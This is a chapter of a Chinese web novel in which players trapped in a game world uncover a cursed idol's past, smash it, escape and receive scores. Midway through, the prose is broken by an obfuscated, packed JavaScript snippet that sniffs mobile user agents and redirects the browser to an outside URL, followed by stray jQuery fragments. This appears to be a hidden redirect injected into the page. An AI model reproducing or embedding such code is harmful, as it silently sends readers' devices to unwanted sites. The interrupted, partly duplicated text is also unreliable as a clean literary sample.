好景不长,最开始出现意外的人,是林平。
那天,他正开着车去送货,却半途遇上了一个醉酒驾驶的人。他着急忙慌地躲避,却因为方向盘打的太急,车身倾斜,“咣当”一下倒在了地上。
那是他这段时间接的最大的一个单子,车上全是进口的鱼肉,这么一来,鱼肉滚了一地。
旁边的村子里,有人刚好挑着水路过,见此情此景,贪念骤升。
不多时,一群青年村民们跑到了这里,手上拿着锄头、麻袋、塑料袋等等东西,气势汹汹地走过来。
想干什么不言而喻。
他极力劝阻,极力抵抗,最后却是一身伤地守着一个空了的小货车。
这场事件对他来说无疑是一次重创,车里的东西,是他这么多年来赌的最大的一笔。眼下赚的钱几乎都赔进去了,还欠了不少债,无力翻身。
他便走上了一边躲债,一边赚钱的路。
只是这样很难,毕竟赚的钱,还没有债务的利息来的多。
他的住所被人曝光,工作被人搅黄,几乎切断了所有经济来源,走投无路。
在一个寂静的夜晚,他选择走进了那片他从小看到大的湖泊。
声声蝉鸣划破夜色,蝈蝈的叫声成了最好的协奏曲,他一步步走进湖里,在那个瞬间漾起涟漪,转眼就渺无声息。
恰好,那天夜里忽然下起了大雨,土地被冲得泥泞不堪,他走进湖里的脚印也被冲烂。
第二天,他的尸体被人发现,几乎已经辨别不出他的本来面貌,浮肿、腐烂。
他人只当他想放松,却不想遇上大雨,土地湿滑,他不慎跌入了湖里,再没起来。
总而言之,他的死,是场意外。
村里的形势一天比一天好,村长根本没想到这些事情会和神像有关,他让人专门修建了一个小祠堂,供奉这尊神像,让它免受风吹雨淋。
小祠堂成了村子里最坚固,最漂亮的建筑,有时,还能帮助两个过路人暂避一下雨天,也算好事一桩。
再后来,土地里的苗开始一片一片死掉,池塘里的鱼争先恐后地翻了肚子,手工小物品也逐渐卖不出去。
村子里的全盛时代已经过去,隐隐有了落幕的趋势。
而神像面前,仍然门庭若市,只是现下的人们,脸上多少都带了些疯狂的神色——
他们不理解,不明白,为什么已经寻求庇佑了,如今却一点一点变得惨淡。
神像当然不会解释给他们听,它只负责站在那里,面前的供奉一天比一天更多。
它不会吃,也不会喝,水果逐渐腐烂,其他的食品也一个个变质,祠堂里终日弥漫这一股难闻的馊味,可是神像面前的钱,却每天每天都在减少。
楚榆站在一旁,那些年如同浮光掠影,在她面前飘过,最后的画面定格在一个长得和牧超很像的男人脸上。
他花大价钱,在村长的手里把这尊神像买了下来,带去了城里。
后来的事情,他们也都知道了——
牧超的父亲将神像带回了城里,他告诉牧超,这是一个极佳的挣钱机会,但他千万不要去拜这尊神像。
看样子,牧超把这话听进去了,在不久之后,妙思寺横空出世,因为它堪比神明一般能实现所求的力量,一传十十传百,妙思寺一夜之间爆火。
他们知道了这一切的来龙去脉,但没办法告诉外面的人。
楚榆四处看,想找到突破口,看看周围有没有什么线索。
她想,其实这一切的源头,都出自那个神像。
神像如果不存在,村子会一直平静下去,或许林平依旧会成为一个成功的商人,但他也会比那时做出决定的他更冷静。
她明白过来,这神像蚕食的,是人的信仰。
一旦人们失去信仰,就会接连失去理智和思考能力,他们不会反思自己到底做错了什么。
就像那片因为肥施的太多而一片片被烧死的田,养料和激素给的太多而死去的鱼,追求数量而不求质量最后导致滞销的手工艺品,以及贪心不足,想要一步登天,却徒遭祸事的林平。
他们把希望押注在那么单薄的一个神像上。
直到欲念的重量超过生命的重量,那一点,就成了压死骆驼的最后一根稻草。
既然一切都来源于它,那不让祸害延续下去的方法,只有毁了它。
她拿起神像,重重摔在了地上。
“啪嗒——”
神像转瞬间变得四分五裂,一道狭长的裂缝蜿蜒过神像的脸,更显得它面目可憎。
周围万籁俱寂,时间好似停止流动,飞溅的陶瓷碎片停滞在空中,湖面上荡起的涟漪不再扩散。
小祠堂忽然从中间裂开,裸露出一个巨大的黑洞。
楚榆知道,这大概是离开这座小村子的路径。
不过眼前的黑洞看上去只能一个人通过,并且,随着时间的流逝,黑洞还在不断变小。
看上去只能一个人通过,并且,随着时间的流逝,黑洞还在不断变小。
“你先走,我有办法离开。”
楚榆回头看刚刚说话的人,在他脸上见到了一种笃定。
“我有自己的路子,不必担心。”
“还有,不要忧心任何事情,我会一直保护你。”
楚榆觉得自己被推了一把,刚好钻进了那黑洞里。
洞口越缩越小,萧慈的身影在她的视野里消失,一瞬间,所有的光全部熄灭。
这里伸手不见五指,楚榆只能摸索着,搞清楚这到底是个什么地方。
只是刚迈出步子,她就感觉自己踢到了什么东西,脚尖生疼。
“谁!”
有人在外面喊了一句,楚榆听出来,是尹从南的声音。
她用双手触碰着这把她囚禁起来的牢笼——
这地方触感微凉,旁边还有那已经被她摔碎的小神像。
她一瞬间明白过来自己在哪,微微上前一步,双手使劲敲着面前那一层薄薄的金属:“尹从南!是我!楚榆!”
脚步声由远及近:“你往后站一点!”
斧头和地面摩擦的声音响起,她往后退了一步。
任凭牧超如何挣扎,尹从南的斧头一次一次地落在了牧超视若珍宝的神像上。
终于,一束光照了进来。
楚榆不习惯地眯了眯眼。
尹从南还在继续砍着这座巨大的神像,好像还有其他人加入了进来。不多时,神像上就出现了一个巨大的黑洞,楚榆手里拿着已经碎了的神像,探出头来。
下一秒,尹从南放大的面孔占据了她所有的视线,斧头“当啷”一声掉在地上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580046|203667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“怎么样?有事吗?有没有受伤?”
楚榆几乎听不见他说话,她此时,只想安安静静地看尹从南的眼睛——
他的眼睛很好看,是中国人特有的深棕色瞳孔,可是只要在阳光下,瞳孔的颜色就会变成浅棕,看上去格外让人着迷。
兴许是她太过迷恋专注的神情实在太不合时宜,尹从南被她吓了一跳,楚榆感觉自己扶着肩膀晃了两下:“楚榆?能听见我说话吗?”
深棕色眸子里,担忧更深了。
她把胳膊搭在尹从南的肩膀上,短暂的和他拥抱:“没事,我没有受伤,一切都很好。”
对方抱她抱的很紧,有种失而复得时后知后觉地恐慌,她有点喘不上气。
但此时,她也需要这样的一个拥抱。
没有什么,比疼痛和窒息更让人觉得真实。
尹从南的拥抱告诉她,你回到了这个世界,这个游戏里,有他在身边的世界。
缓了一阵过后,两个人紧绷的神经都慢慢放松下来,许久不出现的萧慈不知道从哪里冒了出来,脚底还有些刚刚沾上的青苔。
他安安静静地站在那,不知道从哪里翻出来的银手铐在太阳下亮得刺眼。
“咔哒”一声,牧超被带进了警察局,听警局其他的同事说,这块地的来源也有问题,这些建筑很有可能全是违章建筑,税务方面还需要细查,牧超的牢狱之灾在所难免。
警车驶离,悬浮框再次出现在他们眼前。
“恭喜通关,此次游戏共五人参加,五人存活,存活率大于85%,有额外积分奖励。
积分排行:
尹从南:+50(触发关键线索)共计265分
楚榆:+80(触发关键线索)共计280分
萧慈:+80(出力解决问题)共计270分
许雅君:+30(触发关键线索)共计220分
马莹:+30(触发关键线索)共计240分
在此等候片刻,系统会将你们分到其他游戏里,稍安勿躁哦,么么哒~”
面前,那曾经顶天立地的大神像被风一吹,散成了数亿个像素点,在一瞬间消失,连同房屋一起。
屋子之下,长满了绿色青苔,厚厚地一大片。
那块空地上,又凭空长出了一株娇艳欲滴的玫瑰。
尹从南当仁不让地摘下,再眼见着它慢慢升空,最后停在悬浮框上。
说实话,她并不理解为什么尹从南每次都要抢着摘下玫瑰,但是眼下,还有一个问题。
徐安到底是谁杀的?
他们不知道,也没有把人抓出来,就这样通关了?
这样只能说明一件事,那就是徐安的死,也是这场游戏中一个必不可少的环节,或者是,最无足轻重的一个环节。
楚榆觉得自己漏了点线索——
毕竟帮助游戏里的人报仇雪恨,应该不会算在通关条件里,而杀死一个npc,自然也不会成为通关的阻碍。
她想了很久,也不知道自己到底忽略了什么。徐安的死,像一个警钟,蓦地在楚榆脑中敲响。
萧慈的神出鬼没,以及那句没头没尾的话她实在听不明白,还有徐安的死,她到现在都不知道到底怎么回事。
至少这里的这场游戏,没有她眼下所以为的那样简单。